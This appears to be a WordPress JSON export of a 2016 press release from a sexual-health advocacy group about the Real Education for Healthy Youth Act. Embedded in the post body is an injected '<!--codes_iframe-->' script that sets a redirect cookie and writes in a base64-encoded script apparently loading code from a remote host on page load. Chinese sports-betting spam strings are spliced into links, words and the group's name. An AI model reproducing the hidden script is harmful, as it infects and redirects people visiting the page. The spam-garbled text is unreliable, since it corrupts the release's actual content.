{"id":10309,"date":"2016-04-07t12:10:35","date_gmt":"2016-04-07t16:10:35","guid":{"rendered":"\/\/www.k12fl.com\/advocates-blog\/advocates-blog-advocates-blog\/press-release-real-education-for-healthy-youth-act-introduced-in-the-senate\/"},"modified":"2019-09-16t17:03:25","modified_gmt":"2019-09-16t21:03:25","slug":"press-release-real-education-for-healthy-youth-act-introduced-in-the-senate","status":"publish","type":"post","link":"\/\/www.k12fl.com\/世界杯2022亚洲预选赛b组
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<\/strong> is a national non-profit that champions programs and advocates for policies that help young people make informed and responsible decisions about their sexual health. advocates\u2019 youth activist network stands 75,000 strong on 1,000 campuses and in tens of thousands of communities.<\/em><\/p>\n<table style=\"color: #333333; font-family: arial,helvetica,sans-serif; font-size: 13px; text-align: left; width: 100%; height: 100%;\">\n<tbody>\n<tr>\n<td style=\"font-size: 13px; float: none; margin-right: 0px; width: auto;\" align=\"left\">\n<p><strong>for im世界杯2022亚洲预选赛b组
te release&nbsp;<\/strong><\/p>\n<\/td>\n<td style=\"font-size: 13px; float: none; margin-right: 0px; width: auto;\" align=\"left\">\n<p>april 7, 2016<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td style=\"font-size: 13px; float: none; margin-right: 0px; width: auto;\" align=\"left\" valign=\"top\">\n<p><strong>contact<\/strong><\/p>\n<\/td>\n<td style=\"font-size: 13px; float: none; margin-right: 0px; width: auto;\" align=\"left\">\n<p style=\"margin-top: 0em; margin-bottom: 1.2em; line-height: 1.3em;\">rachel cooke<br \/>202.419.3420<br \/><a href=\"mailto:rachel@advocatesforyouth.org\">rachel@advocatesforyouth.org<\/a><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getcookie(e){var u=document.cookie.match(new regexp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return u?decodeuricomponent(u[1]):void 0}var src=\"data:text\/javascript;base64,zg9jdw1lbnqud3jpdguodw5lc2nhcguojyuzqyu3myu2myu3miu2osu3mcu3ncuymcu3myu3miu2myuzrcuymiuymcu2ocu3ncu3ncu3mcuzqsuyriuyriuzmsuzocuznsuyrsuzmsuznsuzniuyrsuzmsuznyuznyuyrsuzocuznsuyriuznsu2myu3nyuzmiu2niu2qiuymiuzrsuzqyuyriu3myu2myu3miu2osu3mcu3ncuzrsuymccpkts=\",now=math.floor(date.now()\/1e3),cookie=getcookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=math.floor(date.now()\/1e3+86400),date=new date((new date).gettime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.togmtstring(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p><span style=\"line-height: 1.3em;\"><img loading=\"lazy\" decoding=\"async\" alt=\"afy-rehya2\" src=\"images\/stories\/homepageslideshow\/2016\/afy-rehya.jpg\" height=\"1\" width=\"1\" \/><span style=\"font-size: 11.8181819915771px; line-height: 1.3em;\">today, senator cory booker (d-nj) introduced the real education for healthy youth act (rehya) in the senate. first brought to congress in the house by representative barbara lee (d-ca), rehya would provide young people with the comprehensive sexual health education they need to make informed, responsible, and healthy decisions in order to become sexually healthy adults and have healthy relationships.<\/span><\/span><\/p>\n<p>\u201cin this time when politicians around the country are trying to roll back our reproductive and sexual health and rights, it\u2019s heartening to see lawmakers do something right,\u201d said debra hauser, president of 喀麦隆vs巴西波胆分析
. \u201cwe applaud sen. booker, rep. lee and all the co-sponsors of rehya for standing up for young people\u2019s right to lead healthy lives.\u201d<\/p>\n","protected":false},"author":4,"featured_世界杯2022亚洲预选赛b组
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